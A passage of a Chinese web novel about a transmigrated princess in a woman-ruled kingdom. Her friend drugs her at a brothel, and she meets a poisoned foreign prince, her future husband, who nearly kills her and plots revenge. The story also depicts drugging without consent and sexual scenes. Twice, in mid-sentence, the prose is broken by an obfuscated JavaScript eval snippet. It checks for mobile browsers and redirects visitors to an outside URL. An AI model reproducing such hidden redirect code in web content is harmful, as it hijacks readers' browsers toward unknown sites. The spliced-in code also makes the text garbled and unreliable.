“陛下和几位重臣商议过,说白了,这就是随便找个名头先把人弄过来,拉拢安抚安国罢了,名为正君,实为……呵呵,你懂的。” 传闻中,九皇子幼时颇受安国主看重,在一众皇子里算得上出挑。 奈何其母妃出身乐伎,一朝被废,于冷宫病逝。本就体弱的九皇子彻底没了依靠,性子渐渐磨得怯懦安静。 如今年过弱冠,莫说侍妾通房,就连起居坐卧也皆由小厮和内侍打理,引得安国朝野私下不乏诸多猜测与非议。 平日他深居简出,不是卧床养病,就是摆弄些花花草草,观观鱼逗逗鸟,从不涉足朝堂事务。 对于这九皇子的境遇,扶盈并无多少意外。皇室联姻,本就是利益交换,被推出来的棋子,自然不会是最得宠显赫的那一个。 母族卑微、自身无势、体弱怯懦……几乎是这类故事的标准模板。 此刻,她内心毫无波澜,反而生出一种奇特的……羡慕? 作为一名时常赶稿赶到头秃的漫画家,这分明是她梦寐以求的终极退休养老生活啊!不用内卷,不用应酬,不用看人脸色,吃喝不愁,还有专人伺候。 这哪里是凄惨皇子?若生在现代,妥妥的人生赢家! 见扶盈半晌没作声,宋连芜稍微正色些。 “阿盈,你可千万别想不开啊。”她摸着下巴道,“我倒觉得,啧啧,这九皇子配你嘛,也是……挺别致的!” “别致就好。”扶盈神色淡然,“至少清静。” 正说话间,门被轻轻叩响,鸨父引数名年轻男倌步入。男子们身着轻纱薄裳,身姿曼妙,温婉如水,屋内顿时添了几分旖旎之色。 “二位贵客久等了。”鸨父笑容可掬,“这些皆是阁中翘楚,定能好生伺候二位尽兴。爹爹我就不打扰二位雅兴了,若有需要,随时唤人便是。” 言罢,便悄无声息地退了出去。 几名男倌纷纷向前,两人跪在宋连芜身侧,一人为她斟酒,一人则为她揉捏起肩膀。 宋连芜舒服地喟叹一声,揽过斟酒那男子的腰肢,接过酒杯的同时在那人脸上香了一口,引得对方一阵羞赧低笑。 另一边,亦有两人款款移至扶盈身旁。 面对如此阵仗,扶盈不由感到脸颊微热。她虽在现代也算见过世面,但这般直白地被陌生美男子贴身服侍,还是头一遭。 她下意识地有些拘谨,却见宋连芜早已沉溺温柔乡,还冲她挤眉弄眼,高声道:“都听见没?今晚本将军做东,务必把我这姐妹服侍好了!让她尽享欢乐!” 被她这么一嚷,扶盈那点不自在反倒散了些。也罢,来都来了,入乡随俗。 身旁男倌生得一双桃花眼,眼波流转间自带风情,见扶盈接了酒,便柔顺地靠坐过来,纤长手指为她按揉着手臂。 另一名气质稍显清冷的男子,则安静跪坐一旁,将剥好的枇杷果肉,缓缓送至她的唇边。 不知是酒意上头,还是这温柔乡太过醉人,扶盈不知不觉便多饮了几杯。一股暖融融的醉意自腹中升起,逐渐蔓延至四肢百骸。 耳边,男子们的温柔软语和宋连芜爽朗的笑声交织在一起,鼻尖萦绕着酒香、果香与各式各样的熏香…… 扶盈只觉得头脑愈发昏沉,仿佛置身于云端。 她流连其中,毫无招架之力,只能任由那快意如同潮水般,一阵阵侵袭而来,将她缓缓淹没。 …… 再度恢复意识,周遭已换了另 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扶盈小心脏受到了冲击,一时间,竟不知该先推开哪一个。 那桃花眼男子却以为她是情动下的反应,低笑一声,嗓音黏腻:“娘子……别急……让仆家好好伺候您。” 身下男子也微微抬起头,原本清冷的眸子此刻氤氲着水汽,唇色嫣红,沉默地看了她一眼后,愈加卖力地继续起来。 扶盈猛地咬了一下舌尖,痛感让她清醒了几分。 不……不行!她不是原主,也并非这个时代的人,无法接受这般不明不白,便与陌生人发生如此亲密的接触。 “走开!” 她厉声喝道,奋力挥开身上那只游走的手,又迅速踹向伏更低处的男子。 两名男倌正全心投入,被饱含怒意的呵斥和粗暴动作吓得魂飞魄散,连滚带爬跌下床榻,跪伏在地浑身颤抖。 “女、女君息怒!”桃花眼男子声音哽咽,带着哭腔,“是、是仆家伺候不周,仆、仆家该死!求女君恕罪!” 另一人也点头如捣蒜,慌乱地解释:“是……是宋女君吩咐……吩咐仆家务必尽心……要让女君尽兴!” 扶盈拉过锦被遮住自己,指着门口,冷声道:“出去!立刻!” “是是是!仆家这就滚,这就滚!” 两名男倌如蒙大赦,又磕了两个头,仓皇拾起散落一地的衣物,手脚并用地爬出了房间。 随着门扉合上,扶盈独自坐在床沿,重重地喘息着。 那股被强行压下的燥热并未消退,反而变得愈加汹涌难耐,像无数细小的蚂蚁在血管里爬行,又痒又空虚,折磨得她眼神都染上了一层迷离的水色。 作为一个身心健康的成年人,她太清楚这是怎么回事了。方才那番过于到位的撩拨,已成功点燃这具身体最原始的火。 必须做点什么。 否则,她不确定自己能不能扛过这漫长又磨人的一夜。 这烂摊子是宋连芜惹出来的,她得负责解决! 扶盈挣扎站起身,胡乱将衣物穿戴整齐。推开门,快步走出,却又立刻陷入迷茫。 这倚阑阁面积颇大,走廊曲折,房间看上去几乎一模一样。 她不知道宋连芜在哪里,更无法找到那个名为「漱玉」的房间,就连方才出来的地方也难以准确返回。 若像个无头苍蝇般一间间推门去看,无异于自找麻烦,若高声呼喊惊动了她人,更添尴尬。 正彷徨无措间,听得前方拐角处,隐约传来一阵喧哗吵闹声。 5. 美人 扶盈心中一紧,闪身躲到一根巨大的廊柱之后,屏息凝神望去。 几名身着倚阑阁工作服的护院,半扶半架着一个发髻散乱衣襟微敞的醉酒女人。 “真的!我没醉!就在后院……东、东边那片竹林里头!有个池子!我看见……看见水里有个仙子!” 那女人面色酡红,眼神迷离,激动地挥舞着手臂:“真的!对着我笑……长得那叫一个……啧啧……然后一眨眼,就没、没了!凭空消失了!” 为首的护院耐着性子劝道:“贵客,您定是吃多了酒,眼花了。后院池子里怎会有仙子?定是水光月色晃了眼。” “胡说!我没眼花!”女人不依不饶,从袖袋里摸出一把金叶子,“找!帮我去找!找到了……重重有赏!那样的绝色美人……定要找出他来!” 护院并未接过金叶子,语气却强硬了几分:“贵客,您真的醉了,小的们这就送您回房,再为您泡壶好茶醒醒酒。” 那女人见说不通,开始撒起酒疯,扬言要把倚阑阁闹个天翻地覆。 护院们不再多言,为首那人出手如电,在她颈后不轻不重地一劈。女人哼都未哼一声,便软倒下去。 待那几人的脚步声彻底消失在走廊尽头,扶盈才从廊柱后走出。 体内躁动因这短暂的插曲稍缓,但并未平息,反而像潜伏的火山,随时有可能更猛烈地爆发。 不能再等了。 她咬咬牙,按照那醉酒女人比划的方向,小心翼翼地往后院摸去。 出乎她的意料,越往后院走,守卫反而越发稀疏,偶尔远远见到一两个巡视的身影,她也能及时避开。 月色如水,洒在错落有致的假山、竹林和小径上,勾勒出明暗交织的轮廓。仿佛所有人都聚集在前楼的喧嚣之中,独留这一方天地沉浸在夜色里。 扶盈对仙子美人什么的并无多大兴趣,更何况是个醉酒之人说胡话。但那池水二字,却像是一根救命稻草。 眼下别无他法,只能去试一试。 她循着更盛的风声与水汽,就在即将踏入竹林小径的刹那,一股凌厉的杀气毫无预兆地从侧后方袭来。 扶盈汗毛倒竖,几乎是凭借本能猛地向旁一扑! “嗤啦——”一声轻响,她原本站立处身后的竹竿上,多了一道深刻的划痕。 一个身着夜行衣,黑布蒙面的矫健身影,悄无声息地落在不远处,手中长剑在月色下泛着幽冷的光。 扶盈心脏狂跳,顾不得身体依旧酸软不适,着急忙慌地爬起来,踉踉跄跄就往竹林深处逃去。 那刺客似乎并不急于取她性命,如同猫戏老鼠般,不紧不慢地缀在她身后,偶尔疾速出手,剑锋总是险之又险地擦着她衣角划过。 扶盈拼尽全力奔跑,却因浑身发软,脚步虚浮,好几次差点被竹根绊倒。 身后的压迫感如影随形,那种明明可以轻易杀死她,却偏要戏弄的做法,让她在惊恐之余更涌上一股憋屈的怒火。 她猛地停下,喘着粗气转过身,对那悠然逼近的黑衣人道:“喂!我说姐妹,拜托讲点武德!这么玩我有意思吗?我不要面子的啊?!” 黑衣人脚步顿了一下,眼眸似乎闪过一丝极淡的讶异。 她依旧不语,只是突然加速,身形如鬼魅般凌空而跃,瞄准扶盈的肩头,抬起一脚狠狠踹去。 “唔!” 扶盈痛哼一声,整个人不受控制地向后飞跌。她拼命想抓住些什么来稳住,可一切只是徒劳。 最终,“扑通”一响,砸进了那片隐在竹林深处,缭绕着淡淡热气的温泉水中! 岸上,黑衣人正欲转身离去,忽闻潺潺水声之中夹杂异响,似有什么东西朝她逼近。 她当即警觉回头,却见跃出水面的并非扶盈。 那人衣襟半敞,胸膛若隐若现,如瀑的墨发随着水波轻轻摇曳,几缕发丝被水汽濡湿,贴伏于额颈,肌肤在月光的照耀下泛着淡淡光泽。 竟是个拥有着如玉般姿容的年轻男子。 他的眼神却如鹰隼般锐利,身形若惊鸿掠影,出手恰似迅箭离弦,几乎在眨眼之间,便击散了黑衣人手中紧握的长剑。 长剑在空中划过一道银色弧线,“哐当”一声落地,发出清脆的声响。 刺客眼见情形不妙,以轻功一跃而起,身形向后急掠,起落之间消失于夜色中。 男子静立池边,目光扫过黑衣人离去的方向,随即缓缓转向仍在水中挣扎的扶盈。 此刻的扶盈苦不堪言。 这暖池比她想象的要深,脚下根本踩不到实处。更难耐的是,池水中的药味混杂着硫磺气息,似乎与她产生了某种奇异反应。 她的双腿开始痉挛,一时间疼痛难忍,呛了好几口水。 “抽……抽筋了!”扶盈挣扎着仰头,对那伫立不动的身影艰难挤出话来,“别、别傻站着!快、快来搭把手……” 男子眉头紧蹙,脸上戾气与不耐交织,沉默地睨着她狼狈的模样。片刻,才终于有了动作。 他利落地纵身入水,破开层层暖波靠近。长臂一伸,手掌精准扣住她的腰侧,稍一用力,便将她整个人从水中托起几分。 男子身上冰凉的体温传来,让扶盈周身的燥热瞬间得到一丝纾解。她无力地靠在他身上,指尖不经意间从他胸口划过。 不得不说,这触感极佳,富有弹性,光滑细腻得好似上等绸缎。 男子自始至终紧抿着唇,不发一言,径直将扶盈带至池边。 上岸时,他动作干脆,毫无温情,甚至带着几分近乎粗暴的效率,仿佛只是随手捞起一件碍事的物件。 扶盈瘫倒在地,急促地喘着气,新鲜空气涌入肺腑,让她稍稍平复了气息。刚要开口道谢,话却哽在了喉咙里。 月光倾洒而下,落在那人身上,将他本就出众的骨相衬得愈发摄人心魄。 并非柔靡的脂粉气,而是一种糅合了少年英气与灵秀的清绝面孔。 剑眉斜飞入鬓,疏密得宜;眼型是标准的凤眸,内勾外扬。自然微扬的唇角,柔和了眉宇间的清冷,即便不笑,也自带三分缱绻之意。 扶盈看得失了神,不自觉地咽了咽口水。 自穿越以来,还是头回见到这种级别的帅哥,实乃仙品,放眼宁都也未必能找出第二个与之媲美的。她突然觉得,小白和松松一点也不香了。 正当她心神微漾之际,男子突然开口,声线清冽中带着一丝沙哑:“你好重。” 简简单单三个字,瞬间将那暧昧不明的旖旎氛围击得粉碎。 扶盈方才的那丝惊艳顿时消散无踪,想都没想便脱口回敬:“是你自己不行吧?!细、狗!” 虞国素来尊崇力量之美,女子大多生得高挑健硕。原主这身量体态,自然算不上柔弱苗条,却也是肩宽腰窄秾纤合度,何来“重”之说? 分明是这男人自己外强中干,力有不逮! 然而,这番念头刚在脑中闪过,她便敏锐捕捉到对方极力掩饰的异样。 男子仍强撑着姿态,额角却不断沁出细密的汗珠,身体也在微微颤栗。尤其是那双唇,红得鲜艳欲滴,与毫无血色的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405942|184464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庞形成一种近乎妖异的反差。 他看起来……很不对劲。 今晚,一波未平一波又起。扶盈不想再卷入任何麻烦,为免牵连自身,还是尽快离开的好。 她勉强站起身,正欲离去,脚步却又迟疑了。出于人道主义和一丝感激,她好心问道:“你……确定没事?” “赶紧滚远点!不然……杀了你!”男子猛地抬眼,旋即又冷冷地别过头去。 扶盈翻了个白眼,心里暗斥一声“有病”。 然而,当她的视线掠过男子侧脸时,却意外发现对方耳廓不知何时,泛起了一层不自然的薄红,与他冷白的肤色形成明显对比。 她下意识低头看了看自己。 方才落水,春衫本就轻薄,此刻尽数湿透,紧紧贴在身上,几乎与无无异。 在这女尊国,女子的身体算不得什么隐秘,但于男子面前如此形容落拓,终究失仪。男子若见女子这般情状,大抵是会感到羞窘难堪无所适从的吧? 如此想着,她莫名理解了男子那恶劣的态度。 不过…… 她的目光又不自觉地落在他肌理分明的上半身,水珠顺着紧实线条滚落,这般模样,穿了与没穿差别委实不大。 罢了,看在他方才也算帮了自己一把的份上,扶盈决定暂且不计较他的出言不逊。她挪开视线,试图将注意力从那极具冲击力的身躯上剥离。 就在她准备抬脚离开时,突然传来一声极力隐忍却终究逸出的痛苦闷哼。 男子侧过头,一只手紧紧捂住胸口,接着猛地咳出一口暗红鲜血。扶盈吓了一跳,飞快往后退了半步。 可看他这副虚弱不堪的模样,像是受了严重的内伤,未必能对她构成实质性威胁,她心里反而松了口气。 “原来是个纸糊的阎王……” 扶盈故意拖长语调,带着几分挑衅:“我现在改变主意了,不走了,你打算拿我怎么办?” “有趣。”男子胸脯剧烈起伏着,闭目片刻后缓缓睁开,似笑非笑地说,“你觉得我不会杀你,还是……杀不了你?” 扶盈凑上前去,与他对视。两人距离极近,呼吸可闻。 鼻尖萦绕着他的气息,犹如春日里不经意间飘落的桃花瓣,轻轻拂过心湖,激起层层细腻的涟漪。 “别动不动就喊打喊杀,这样一点都不可爱。” 扶盈低笑一声,抬手捏起对方的下巴:“若真能死在你这般的美人手里……那也算死得其所,不枉此生了。” 眼前人即便痛苦如此,却依旧美得不可方物,撩得她好不容易压下的燥热瞬间翻涌,彻底焚毁理智。 那染血的唇,在月光下宛如沾露的芍药。扶盈鬼迷心窍般,将自己的唇覆了上去。 男子浑身一震,齿关紧闭,抵抗着突如其来的侵袭,眼底满是难以置信的惊愕,还有一丝猝不及防的慌乱。 僵持仅一瞬。 他喉间突然迸出破碎叹息,按在她肩头的手猛地滑向后颈,将她整个人更深地勒入怀中,反客为主般吞噬着她的唇舌。 扶盈轻哼一声,并未退缩,而是迎了上去,手指穿过他湿凉的发丝。 吻变得绵长而热烈。 她被他坚实的胸膛压进暖池,热浪裹挟着浓烈药香,瞬间吞没彼此交缠的呼吸。 水波推着人沉浮,恍惚见他埋首在她颈侧,齿尖衔住那根锦缨绦带时,眼尾洇开一片秾丽的红,似压抑的恨意,又似灼人的渴念。 激荡的涟漪卷过池边竹梢,摇落几片初发的嫩叶,恰好黏在她战栗的腰际…… 6. 蛊毒 氤氲的雾气缓缓流淌,池水平息,只余细微涟漪。 周绥静立水中,墨发湿濡地贴附于脊背,身形挺拔却难掩一丝事后的倦怠。 他垂眸,水面倒映出自己依旧泛着潮红的脸颊与残存着潋滟水光的唇。这场荒唐又炽热的纠缠如梦似幻,却又真实得刻骨。 体内肆虐的蛊毒因那一番剧烈动荡,已暂时蛰伏,但残余的痛楚仍如细针般不时刺戳经脉。 每逢月圆,此毒便如万蚁噬心,痛不欲生。今夜本已借这特殊药浴勉强压下,却因骤然动用内力解决那黑衣人,致使蛊虫反噬,几乎将他整个人撕裂。 然而,更让他心神不宁的,是方才自己的失控。这种脱离自我意识的行为,于他而言,是极其危险的。 为何?他为何会对一个素不相识的女子做出那般逾矩之事? 即便当时内力溃散,身体因剧痛而麻木无力,但若他真想阻止,绝非完全没有机会。他有一百种方法,可以让那女子瞬间昏厥或远离。 但他没有。 非但没有,在那一刻,抗拒的念头只存在了极其短暂的一瞬。唇齿相融时,他竟未有丝毫厌恶,反而一种陌生且渴望靠近的冲动支配了他。 他抛却了所有警惕与算计,任由自己沉溺其中,甚至主动回应,索取更多。仿佛她的触碰,她的抚慰,能奇异地平息蛊虫躁动带来的撕痛。 在那片刻的肌肤相亲,耳鬓厮磨间,蚀骨的剧痛似乎真的悄然远去,被一种前所未有令人战栗的慰藉而取代。 周绥闭上眼,指尖无意识地抚过唇瓣,那里似乎还残留着属于她的温度和气息。 他深吸一口气,试图压下-体内并非全然因蛊毒而起的翻涌燥热,却只觉得那股无名火越烧越旺。 “简直可恶!不知羞耻!”他咬牙,脸色又阴沉了几分。 怎能如此?!这简直是他平生未遇之奇耻大辱! 周绥死死盯着怀中已然沉睡过去的女子。 此刻她眉眼安然,呼吸平稳而均匀,睫毛静静垂落,在水汽浸润下更显纤长。 湿透的墨发贴着她的脸颊,唇瓣因方才的亲吻而微微红肿,勾勒出毫无防备近乎纯稚的诱惑。 这女人……究竟是何来路?夜半三更出现在此,是巧合闯入,还是……精心设计早有预谋的陷阱? 这一切的发生实在太过蹊跷。 一想到自己坚守了二十余年的清白之身,竟在这等情况下,被一个来路不明的虞国女子如此……如此轻易地夺去! 趁他毒发无力反抗之际,对他行那般孟浪调戏轻薄亵玩之事!怎么说,他也是第一次啊!! 一股屈辱混杂着被冒犯的暴怒霎时冲上头顶。 深沉近墨的眸子透出些许危险韵味,原本揽在女子腰侧的手猛地抬起,毫不犹豫,指尖骤然扼住了她的脖颈。 宁可错杀,绝不放过,这是他自幼在深宫残酷倾轧中学到的铁律。任何一丝不可控的变数,都可能成为日后致命的弱点。 杜绝后患,唯有彻底抹去。 “哼,死得其所,如你所愿。”薄淡的唇掀起一丝冷笑,手指开始缓缓收拢。 …… 月华已淡,晨曦微露。 扶盈眼皮颤动,艰难地睁开。宿醉般的头痛和身体被碾压过的酸软一同袭来,让她忍不住蹙眉。 昨夜那些,缠绵缱绻的碎片记忆争先恐后涌入脑海,她的脸颊顿时烧了起来。 她下意识地看向身侧,空无一人。只有被压得略微凌乱的草丛和空气中难以捕捉的淡淡气息,证明那并非虚无缥缈的梦境。 那个美得惊心又冷得刺骨的男子,早已不知所踪,仿佛只是月夜下悄然出现又悄然离去的精魅。 “跑得倒快……”扶盈揉揉额角,撑着身体坐起。 然而,下一刻,她整理衣襟的动作猛地顿住。不对劲!她外衣尚在,但贴身的内衣……不见了?! 扶盈瞬间瞪大眼睛,低头在自己身上和附近来回翻找了好几遍,确认那件藕荷色绣着暗纹的内衣确实不翼而飞! 一个荒谬又惊悚的念头窜上心头,那男子……该不会是个有什么特殊癖好,专偷人内衣的变态吧?! 长得人模人样,居然干这种事?! 正当她气得牙痒痒,在心里把那“内衣贼”骂了千百遍时,指尖无意间碰到一个冰冷坚硬的东西。 她低头一看,只见自己右手的大拇指上,不知何时多了一枚扳指。 这扳指非金非玉,触手温凉,呈现出深邃的墨黑色,表面光滑无比,几乎能映出人影,只在边缘处镶嵌着一圈难以察觉的暗银色奇异纹路,似藤非藤,似字非字。 这是……?昨夜混乱中并无此物。 是那个男人留下的? 偷了她的贴身衣物,却留下一个看似价值不菲的古怪扳指?这算什么?交换?还是……信物? 扶盈拧着眉,满心疑窦。她踉跄着走到池边,想用池水让自己更清醒些。 俯身看向水面,倒影中映出一张苍白却眉眼精致的脸,只是发髻散乱,几缕发丝黏在颊边,唇瓣微肿,颈侧甚至还有几点暧昧未消的红痕。 “真是……”扶盈不忍再看,掬起池水拍在脸上。 整理好情绪,她重新回到阁内,寻了个看似机灵的小倌,塞了块碎银,低声吩咐了几句。不多时,小倌便悄悄送来一套干净合身的常服。 她又寻了处空置的雅间,迅速换好干燥舒适的衣物,整个人焕然一新,重新变回那个冷静自持的扶盈。 走出倚阑阁时,一眼便瞧见宋连芜正百无聊赖地叼着一根草茎,在门口来回踱步,眼神不时往里瞟,显然是在等她。 见扶盈出来,宋连芜眼睛一亮,立刻吐出草茎,笑嘻嘻地迎上来,用手肘撞了她一下。 “哟!可算出来了!怎么样?与那俊俏男倌共度春宵,滋味如何?莫不是太过尽兴,连时辰都忘了?” 哪壶不开提哪壶! 扶盈一听这话,顿时想起那荒唐又失控的种种,以及醒来后空无一人的憋闷,还有那件不翼而飞的内衣和这莫名其妙的扳指。 一股无名火,蹭地就冒了上来。 多一事不如少一事,那男子的存在诡异,她暂时不想节外生枝,也懒得跟宋连芜这粗线条解释清楚。 扶盈没好气地瞪了对方一眼,反将一军:“你还好意思问我?你昨晚又浪到哪里去了?把我一个人丢下,知不知道我差点……” 她顿了顿,把“被人行刺”和“遇上偷内衣变态”咽了回去,含糊道:“差点就误了时辰!” “哎呀,我当然知道了!”宋连芜非但没愧疚,反而嘿嘿一笑,一副“我都懂”的表情。 她凑近些压低声音道:“大家都是女人嘛,偶尔也需要放松放松,发泄一下,对吧?怎么样,姐姐我安排的人,伺候得可还周到?是不是把你那些烦心事都忘到九霄云外去了?” 扶盈看着她那挤眉弄眼,自以为体贴的模样,简直气不打一处来,敢情她以为自己是沉醉温柔乡了? 她忍不住抬手扶额,投去一记无奈又嫌弃的白眼:“你呀你,脑子里整天就琢磨这些,真是没救了!” 话音未落,肚子跟着咕咕叫了起来。这折腾大半夜,此时胃里一阵虚空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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见扶盈感兴趣,宋连芜更来劲了。一路上滔滔不绝,如数家珍般地介绍着那家食肆的各色美食,从水晶虾饺说到桂花糖藕,恨不得立刻把所有菜都塞进扶盈肚子里。 听着那活力四射毫无阴霾的嗓音,感受着肩头温暖而有力的手臂,扶盈甩甩头,将奇怪的感觉彻底抛诸脑后,专心期待起即将到来的美食。 和宋连芜在一起,很容易让人忘记烦恼。 倚阑阁顶层,一间未悬挂名牌的雅间内。 一道颀长身影伫立于半掩窗扉后,目光穿透喧嚣初起的街道,精准地锁定在那个与友人并肩离去,渐行渐远的女子背影上。 阳光映入窗棂,在他轮廓分明的侧脸上,投下明暗交错的光影,更显得那双深邃眼眸幽暗难测。 他原本打算,将这胆敢冒犯他的女子直接除之后快,以泄心头之恨。 但最终,他收回了手。并非心软,而是觉得就那般让她轻易死去,未免太过便宜。 不过是个仗着家族富贵,而肆意妄为的好色之徒罢了,这种人他见得多了去,无一不是自私自利欺软怕硬的家伙。 说来,这虞国的女人,与安国那些争权夺利面目可憎的男人,本质上并无不同,谁都逃不过人性卑劣的驱使与弱点的束缚。 杀了她,反而是一种解脱。 他要的,是更缓慢更彻底的报复。反正……无须多久,他便会以那个众所周知的身份,光明正大地踏入这虞国皇都。 届时,他有的是时间和手段,将这不知死活趁他之危的女子揪出来,好好清算这笔账。 想到她那副惊恐悔恨的模样,他心底那股郁结的戾气才稍稍平复。 至于那件顺手牵走的贴身内衣……不过是他一丝恶劣的趣味罢了。既是故意给她添堵,也算一点小小的惩戒。 而那枚戴在她指上的扳指,则确是他留下的信物,或许能成为日后追查她的线索。虽然可能性不大,但聊胜于无。 想到这里,周绥嘴角不禁勾起了一抹冷冽而玩味的笑容。 有趣,有趣极了。 7. 不嫁 “叩叩——” 轻而规律的敲门声响起,打断了周绥的凝望。他收回视线,慵懒地启唇:“进。” 门被推开,一名身着玄色劲装,面容沉肃的青年护卫端着一碗浓黑药汁走了进来,正是他的心腹鹤觞。 “殿下,该用药了。” 周绥接过,看都没看便仰头一饮而尽。浓烈的苦涩在口腔蔓延开来,久久不散,他却连眉头都未皱一下,仿佛喝下的只是寻常清水。 为了解蛊毒,这样的场景早已重复无数次,各种名目的清毒丹益气丸不知灌下多少,那蛊虫却依然深深扎根在他体内。 这些汤药,与其说是疗毒,不如说只是勉强维持,聊作慰藉罢了。 他将空碗递还给鹤觞,漫不经心地问道:“事情办妥当了?” “回殿下,昨夜属下接到信号便即刻赶往城西,是小王爷那边出了些状况,似是招惹了这宁都的一位贵女,被对方带着家丁护卫追杀了半条街。” 鹤觞低声禀报,语气里带着一丝无奈:“属下赶到时,小王爷受了些轻伤,胳膊上被划了一道口子,已寻了可靠的大夫诊治过,并无大碍。” “只是受了些惊吓,一直嚷嚷着这虞国的女子太过凶悍……” 周绥眼中掠过一丝厌烦,抬手打断:“罢了,我对他那些风流韵事没兴趣,亦不想听。日后他若再因这等荒唐缘由发出求救信号,大可不必理会。” “是,属下明白。” 鹤觞垂首领命,随即神色转为凝重:“殿下,这段时日您切不可再动用内力,需静心调养。否则毒素反噬,侵入心脉,后果将不堪设想。” 周绥神色淡然,摩挲着手腕上那道若隐若现的黑线。 黑线在他白皙的肌肤上蜿蜒游走,显得格外醒目,宛如宣纸上未干的墨迹被晕开,缓缓蚕食着素白。 他这条命,早已在鬼门关前来回走了无数趟,多活一日都是赚的。但他也知道,至少眼下,还不是时候死去。 他还有太多事未做。 “属下失职。”鹤觞脸上露出愧色,“昨夜若非前去接应小王爷,未能时刻守在殿下身侧,或许也不会……” “与你无关。” 周绥语气平淡,听不出情绪:“此行来宁都本就是秘密行事,不宜张扬,因此我只带了你一人。人多,反而容易暴露行迹。” 鹤觞心下稍安,又想起一事,语气转而缓和了些许:“不过,这宁都的水源似乎确有奇异之处,竟真能压制您体内蛊毒的发作,减轻痛楚。这实乃意外之喜,简直是上天眷顾殿下!” “上天眷顾?我从不指望什么老天眷顾。” 周绥唇角勾起一抹带着嘲讽的弧度:“求神拜佛,依仗他人,皆不如自我求全。这道理,我儿时便明白了。” “殿下,还有一事。” 鹤觞迟疑片刻,继续回禀道:“属下打探得知,关于那位即将与您成婚的昭妧帝姬……风评似乎颇为不佳。” 周绥淡淡“嗯”了一声,示意他继续说下去。 “传闻她性情暴戾乖张,行事荒唐,在宁都的名声……甚是颇劣。” 鹤觞斟酌着用词:“而且,据说她早已心有所属,痴恋那武安侯府宋小侯爷多年,曾为此做出过不少出格之事,先前坠马亦与此有关。” “联姻之事虽乃国主钦定,非她个人意愿所能左右,但属下担心,她会将对此婚事的所有不满与怨恨,尽数发泄到殿下您身上。若真如此,日后恐怕……” 恐怕会诸多刁难,甚至暗中不利。毕竟,在这虞国的地界,一个不受宠的异国质子皇子,处境将极为艰难。 周绥静默地听着,窗外流动的光影在他深邃的眼眸中明明灭灭。 “心生怨恨?甚好。”他声音低沉,带着一种玩味的期待,“我倒是很想知道,这位声名远扬的昭妧帝姬,究竟有何等能耐。” 他转过身,目光落在鹤觞身上,眼神平静无波,却让鹤觞无端感到一丝寒意。 “若她是个色令智昏,空有一身蛮劲却无脑子的草包,被安排了不如意的婚事便只会哭闹撒泼,或仗着身份肆意欺辱……” 周绥顿了顿,语气里透出明显的失望与轻蔑:“那这日后漫长的时光,未免也太过无趣了些。” 这场被迫接受的联姻,若只剩下一方对另一方的绝对碾压和掌控,那还有什么意思? 他需要的是一个至少能让他稍稍提起兴致的对手,而不是一个只会让人感到厌烦和鄙夷的蠢货。 否则,这场游戏,可就不好玩了。 …… 隐匿于巷尾的食肆虽不起眼,但门前已排起了队伍,木质的匾额上写有味源小筑四个大字。 扶盈与宋连芜对坐,点了两碗招牌鸡丝汤面和几碟精致小菜。宋连芜吃得酣畅淋漓,扶盈虽也腹中饥饿,却吃得有些心不在焉。 宋连芜吸溜完一口面,又忍不住凑近,低声道:“哎,说真的,昨晚感觉到底怎么样?那小男倌可是苏爹爹精挑细选的,模样身段都是一等一!而且,我还特地……” 她话未说完,扶盈握着筷子的手一顿,倏然抬头盯住她。 “你特地什么?” “特地……把我前阵子偶然得来的那点醉花阴给用上了啊!嘿嘿,据说效果非凡,千金难求,我好不容易才弄到的,这不是想着……” 她越说声音越小,因为扶盈的脸色已经沉了下去,眸中隐有怒火跳动。 “醉花阴?你从哪里弄来的这种东西?!”扶盈放下筷子,声音彻底冷了下来,“宋连芜,你再说一遍,你做了什么?” 宋连芜见状不对,将嘴里食物囫囵咽下,赶忙解释:“不是……阿盈,你别急啊!我、我上次剿匪时从一伙贼人那儿缴来的,说是西宛流传过来的稀罕物,我就想着刚好试试效果,为你我助助兴……” “你看你先前为了蘅弟要死要活的,我看着都难受!这三条腿的蛤蟆不好找,三条腿的男人遍地是!你多体验些不同的乐趣,何必执着于一根不开窍的木头?” 她语气急急一转:“再说了,你马上就要成婚,日后身边有个男人管着,哪还能像现在这般自在?这不是,得婚前再多痛快几回嘛!” “砰!” 扶盈猛地一拍桌子,震得碗碟哐当作响,茶盏更是被打翻,在桌面上蔓延开一片水渍。 她气得发笑:“所以,你就能瞒着我,擅作主张,给我用那种来路不明的东西?!” 宋连芜被这突如其来的爆发吓了一跳,眼神中闪过一丝慌乱。 “阿盈,你……你难道是怕去倚阑阁的事情,被蘅弟知晓?你放心!绝对不可能!我这个人嘴很严的,我保证,绝对不会说出去半个字!我这可都是为你好啊!” 她说着,急切地举起三根手指,作势对天起誓,试图以此安抚扶盈的怒气。 扶盈看着她那副煞有介事发誓的模样,只觉得一股郁气堵在心口。跟这个脑回路清奇的家伙,完全说不通! 打着为你好的旗号自作主张,有时比明刀明枪更让人无力。 懒得再多唇舌,她站起身,瞥了宋连芜一眼,留下“好自为之”四个字,便头也不回地离开了。 “哎,阿盈,别走啊!” 宋连芜起身想去拉她衣袖,却扑了个空,只能对着她的背影大喊,引来周围食客纷纷注目。 “我错了还不行吗!我真是为你好!我对你绝无二心!你若是不喜欢,以后我再也不乱试这些东西了!阿盈!” 扶盈脚步未停,径直下了楼。 宋连芜终于后知后觉意识到,自己这玩笑似乎开得有点过火。她一屁股坐回凳子上,烦躁地抓了抓头发。 说到底,扶盈还不是对宋连蘅那兔崽子情根深种,所以才如此生气,可她又何尝不是左右为难。 一边是至交好友,一边是骨肉至亲,这道题,可真比排兵布阵难解多了! …… 武安侯府内,春光旖旎,一树桃花开得正盛,花瓣随风轻舞,洒落一地芬芳。 一名身着红衣的少年,正手持一柄桃木长剑,身姿挺拔,目光炯炯。随着一声清啸,他的身形陡然一动。 